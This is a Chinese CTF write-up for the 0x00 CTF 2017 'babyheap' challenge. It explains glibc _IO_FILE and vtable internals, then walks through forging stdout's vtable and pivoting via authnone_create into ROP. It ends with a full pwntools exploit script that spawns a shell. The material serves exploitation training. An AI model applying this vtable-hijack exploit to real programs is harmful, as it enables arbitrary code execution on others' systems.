初音未来の消失

0x00_CTF_2017_babyheap (vtable伪造并构造rop)

基础知识

IO_FILE 是一种控制流劫持技术,通过修改 stdout 结构体,来将控制流跳转到程序的任何位置。

首先我们来学习一下 IO_FILE 结构体的相关知识:

_IO_FILE_plus

这个结构体中包含了另外的两个结构体,其中_IO_FILE 是文件结构的属性,*vtable 是一个虚表,里面存放了一些重要的指针,我们的控制流劫持技术就是通过劫持虚表来控制rip。

同时,这个表可以通过

struct _IO_FILE_plus
{
    _IO_FILE    file; // 占用0xd8字节
    IO_jump_t   *vtable;
}

这两个结构体的地址都可以通过 libc 进行查找

stdout_addr = libc_base + libc.symbols['_IO_2_1_stdout_']
stdout_addr_vtable = stdout_addr + 0xd8

_IO_FILE

这个是文件流的相关定义和数据

struct _IO_FILE {
  int _flags;        /* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags

  /* The following pointers correspond to the C++ streambuf protocol. */
  /* Note:  Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
  char* _IO_read_ptr;    /* Current read pointer */
  char* _IO_read_end;    /* End of get area. */
  char* _IO_read_base;    /* Start of putback+get area. */
  char* _IO_write_base;    /* Start of put area. */
  char* _IO_write_ptr;    /* Current put pointer. */
  char* _IO_write_end;    /* End of put area. */
  char* _IO_buf_base;    /* Start of reserve area. */
  char* _IO_buf_end;    /* End of reserve area. */
  /* The following fields are used to support backing up and undo. */
  char *_IO_save_base; /* Pointer to start of non-current get area. */
  char *_IO_backup_base;  /* Pointer to first valid character of backup area */
  char *_IO_save_end; /* Pointer to end of non-current get area. */

  struct _IO_marker *_markers;

  struct _IO_FILE *_chain; //这个地方,指向了下一个结构体,用于将所有的FILE连接成一个链表

  int _fileno;
#if 0
  int _blksize;
#else
  int _flags2;
#endif
  _IO_off_t _old_offset; /* This used to be _offset but it's too small.  */

#define __HAVE_COLUMN /* temporary */
  /* 1+column number of pbase(); 0 is unknown. */
  unsigned short _cur_column;
  signed char _vtable_offset;
  char _shortbuf[1];

  /*  char* _save_gptr;  char* _save_egptr; */

  _IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};

下面这是在 pwndbg 中获取到的 _IO_FILE_plus 结构体的数据,供参考(来源

gef➤  p  *(struct _IO_FILE_plus *) stdout
$2 = {
  file = {
    _flags = 0xfbad2887, 
    _IO_read_ptr = 0x7f5b6742a6a3 <_IO_2_1_stdout_+131> "\n", 
    _IO_read_end = 0x7f5b6742a6a3 <_IO_2_1_stdout_+131> "\n", 
    _IO_read_base = 0x7f5b6742a6a3 <_IO_2_1_stdout_+131> "\n", 
    _IO_write_base = 0x7f5b6742a6a3 <_IO_2_1_stdout_+131> "\n", 
    _IO_write_ptr = 0x7f5b6742a6a3 <_IO_2_1_stdout_+131> "\n", 
    _IO_write_end = 0x7f5b6742a6a3 <_IO_2_1_stdout_+131> "\n", 
    _IO_buf_base = 0x7f5b6742a6a3 <_IO_2_1_stdout_+131> "\n", 
    _IO_buf_end = 0x7f5b6742a6a4 <_IO_2_1_stdout_+132> "", 
    _IO_save_base = 0x0, 
    _IO_backup_base = 0x0, 
    _IO_save_end = 0x0, 
    _markers = 0x0, 
    _chain = 0x7f5b674298e0 <_IO_2_1_stdin_>, 
    _fileno = 0x1, 
    _flags2 = 0x0, 
    _old_offset = 0xffffffffffffffff, 
    _cur_column = 0x0, 
    _vtable_offset = 0x0, 
    _shortbuf = "\n", 
    _lock = 0x7f5b6742b780 <_IO_stdfile_1_lock>, 
    _offset = 0xffffffffffffffff, 
    _codecvt = 0x0, 
    _wide_data = 0x7f5b674297a0 <_IO_wide_data_1>, 
    _freeres_list = 0x0, 
    _freeres_buf = 0x0, 
    __pad5 = 0x0, 
    _mode = 0xffffffff, 
    _unused2 = '\000' <repeats 19 times>
  }, 
  vtable = 0x7f5b674286e0 <_IO_file_jumps>
}

如果 libc 的版本是 2.23, 我们在构造结构体的时候不用理会 _IO_FILE

但是 libc 2.24 版本及以上对 _IO_FILE 进行了检测,所以这个结构体也要一同构造

下面是检测的定义

if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)   
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
       || (_IO_vtable_offset (fp) == 0
           && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
                    > fp->_wide_data->_IO_write_base))
#endif
       )
      && _IO_OVERFLOW (fp, EOF) == EOF)

_IO_jump_t

这是一个虚表,里面存放了多个函数的指针,它会在程序进行输出等过程时调用。

struct _IO_jump_t
{
    JUMP_FIELD(size_t, __dummy);
    JUMP_FIELD(size_t, __dummy2);
    JUMP_FIELD(_IO_finish_t, __finish);
    JUMP_FIELD(_IO_overflow_t, __overflow);
    JUMP_FIELD(_IO_underflow_t, __underflow);
    JUMP_FIELD(_IO_underflow_t, __uflow);
    JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
    /* showmany */
    JUMP_FIELD(_IO_xsputn_t, __xsputn);
    JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
    JUMP_FIELD(_IO_seekoff_t, __seekoff);
    JUMP_FIELD(_IO_seekpos_t, __seekpos);
    JUMP_FIELD(_IO_setbuf_t, __setbuf);
    JUMP_FIELD(_IO_sync_t, __sync);
    JUMP_FIELD(_IO_doallocate_t, __doallocate);
    JUMP_FIELD(_IO_read_t, __read);
    JUMP_FIELD(_IO_write_t, __write);
    JUMP_FIELD(_IO_seek_t, __seek);
    JUMP_FIELD(_IO_close_t, __close);
    JUMP_FIELD(_IO_stat_t, __stat);
    JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
    JUMP_FIELD(_IO_imbue_t, __imbue);
#if 0
    get_column;
    set_column;
#endif
};

以下是 *vtable 中,各个函数所要调用的地址,根据自己要进行攻击的函数,来确定覆盖哪一个指针。

void * funcs[] = {
   1 NULL, // "extra word"
   2 NULL, // DUMMY
   3 exit, // finish
   4 NULL, // overflow
   5 NULL, // underflow
   6 NULL, // uflow
   7 NULL, // pbackfail

   8 NULL, // xsputn  #printf
   9 NULL, // xsgetn
   10 NULL, // seekoff
   11 NULL, // seekpos
   12 NULL, // setbuf
   13 NULL, // sync
   14 NULL, // doallocate
   15 NULL, // read
   16 NULL, // write
   17 NULL, // seek
   18 pwn,  // close
   19 NULL, // stat
   20 NULL, // showmanyc
   21 NULL, // imbue
};

babyheap

0x00ctf_baby_heap

参考资料

首先 checksec

本题的 libc 为 2.23 ,所以暂不考虑 *vtable 的有效性检测问题。

简单分析

这是一个用户管理程序,有 add, edit, ban, changename 四个功能。

  1. add 功能负责在 users 处申请指针,并开辟堆块存放 name
  2. edit 负责对 users 数组中非空的堆块进行修改(没有检测该堆块是否合法)
  3. ban 负责把 某个users free掉,并且把指针置零
  4. changename 负责修改 name 处的名字,是管理员的名字

这就可以造成任意地址写, 我们可以在 name 处布置地址,然后通过 edit 来修改。

同时,还有一个明显泄露 read 函数真实地址的点,可以获取 libc 地址。

因为 FULL RELRO,我们不能对 got表 进行修改来劫持控制流,这里就要用到 _IO_FILE 利用方法了。

_IO_FILE利用

我们先将 *vtable 的值改为 0x602088 (bss_name-0x18),然后随即在puts上面下断点:

payload2 = p64(bss_name - 0x18)[:6] #至于为什么只改六位,那是因为edit会查询原地址的字符串长度,最多能改六个字节,不过已经够用了
edit(2, 12, payload2)

我们看到在 puts+165 的位置,程序 call [rax + 0x38],这就是 vtable 的作用,程序在输出的时候会调用这个表,在puts时调用的就是 *(vtable + 0x38),所以我们稍微构造一下 [rax+0x38](已经转移到了 bss段上,也就是bss_name + 0x20),就把rip劫持到了。

本题我劫持到了 authnone_create 函数,具体介绍见下文。

authnone_create利用

这里用到了一个特别有用的 控制流劫持转ROP 的技术,就是 authnone_create - 0x35 这个位置(也叫 authnone_create_one + 139)

这个地方执行了以下操作:

  1. 栈地址存放到了 rdi寄存器
  2. 再次调用一个偏移为 [rax+0x20] 的地址(即 [bss_name+0x8]可以构造成某个函数)
  3. 会检测 [rax + 0x38] 处是否为 NULL,若是,则会触发 ret

如果我们在第二步调用了一个 gets 函数,就能成功向栈里写入 payload,从而实现ROP。

啰嗦一句,第二三步的 rax并不是 *vtable + 0x38, 它已经被刚刚的栈溢出进行了修改,这个值存放在[rsp+8]

这里我即将进行 gets,rdi确实就是栈顶的位置

这里 gets函数的细节我就不展示了,因为是照着 exp 一步步调试的,所以栈结构被我布置了一下,大家只需要知道这个方法可以刚好从栈顶开始覆盖就行。

可以看到 rax 被修改了,不再是之前的 0x602088,那么其实我这里构造的 [rax+0x38] 就是 [name+0x8]

rax == 0 刚好通过检测,将要执行 add rsp, 0x30, pop rbx,其实合并起来就是 add rsp, 0x38,在rop中添加padding即可。

接下来就是自由的 rop 环节了,可以寻找 one_gadget ,也可以自行调用 system函数,这个取决于自己的喜好了。

不过可以直接 pop_rax_ret,把 rax 改成 0, 然后onegadget,我觉得更便捷。

exp

from pwn import *
from time import *
context.log_level = 'DEBUG'

p = process('./babyheap')
elf = ELF('./babyheap')
libc = elf.libc

def add(size, con):
    p.sendlineafter('6. exit', '1')
    p.sendlineafter('size: ', str(size))
    p.sendlineafter('username: ', str(con))

def edit(typ, idx, con):
    p.sendlineafter('6. exit', '2')
    p.sendlineafter('1. secure edit\n2. insecure edit', str(typ))
    p.sendlineafter('index: ', str(idx))
    p.sendafter('new username: ', str(con))

def ban(idx):
    p.sendlineafter('6. exit', '3')
    p.sendlineafter('index: ', str(idx))

def changename(con):
    p.sendlineafter('6. exit', '4')
    p.sendlineafter('enter new name:', con)

#gdb.attach(p)
p.sendlineafter('enter your name:', 'mrh929')
p.sendlineafter('6. exit\n', '5')

p.recvuntil('your gift:\n')
read_addr = int(p.recvuntil('\n'))
libc_base = read_addr - libc.symbols['read']
system_addr = libc_base + libc.symbols['system']
stdout_vtable = libc_base + libc.symbols['_IO_2_1_stdout_'] + 0xd8
bss_name = 0x6020a0
xchg_ret = libc_base + 0x4727e
gets_addr = libc_base + libc.symbols['gets']
authnone_create = libc_base + libc.symbols['authnone_create'] - 0x35
pop_rdi_ret = libc_base + 0x21102

success('read_addr:' + hex(read_addr))
success('libc_base:' + hex(libc_base))
success('system_addr:' + hex(system_addr))
success('stdout_vtable_addr:' + hex(stdout_vtable))

payload1 = p64(stdout_vtable) + p64(gets_addr) + '/bin/sh\x00'+ 'a'*(0x10-8) + p64(authnone_create) 
#gdb.attach(p, 'b *0x400c2b\nc\nb *{}\nc'.format(hex(libc_base+libc.symbols['authnone_create']-0x35)))
changename(payload1)

payload2 = p64(bss_name - 0x18)[:6]
edit(2, 12, payload2)

payload3 = p64(0) + p64(0x602058-0x38) + 'b'*0x28  + p64(pop_rdi_ret) + p64(bss_name+0x10) + p64(system_addr)
p.sendline(payload3)

#sleep(0.1)
#p.sendline(payload2)

p.interactive()

总结

通过本题我们学到了通过 _IO_FILE 来劫持控制流的方法,以及仅仅通过控制流劫持来触发ROP的构造方式(authnone_create-0x35)。

退出移动版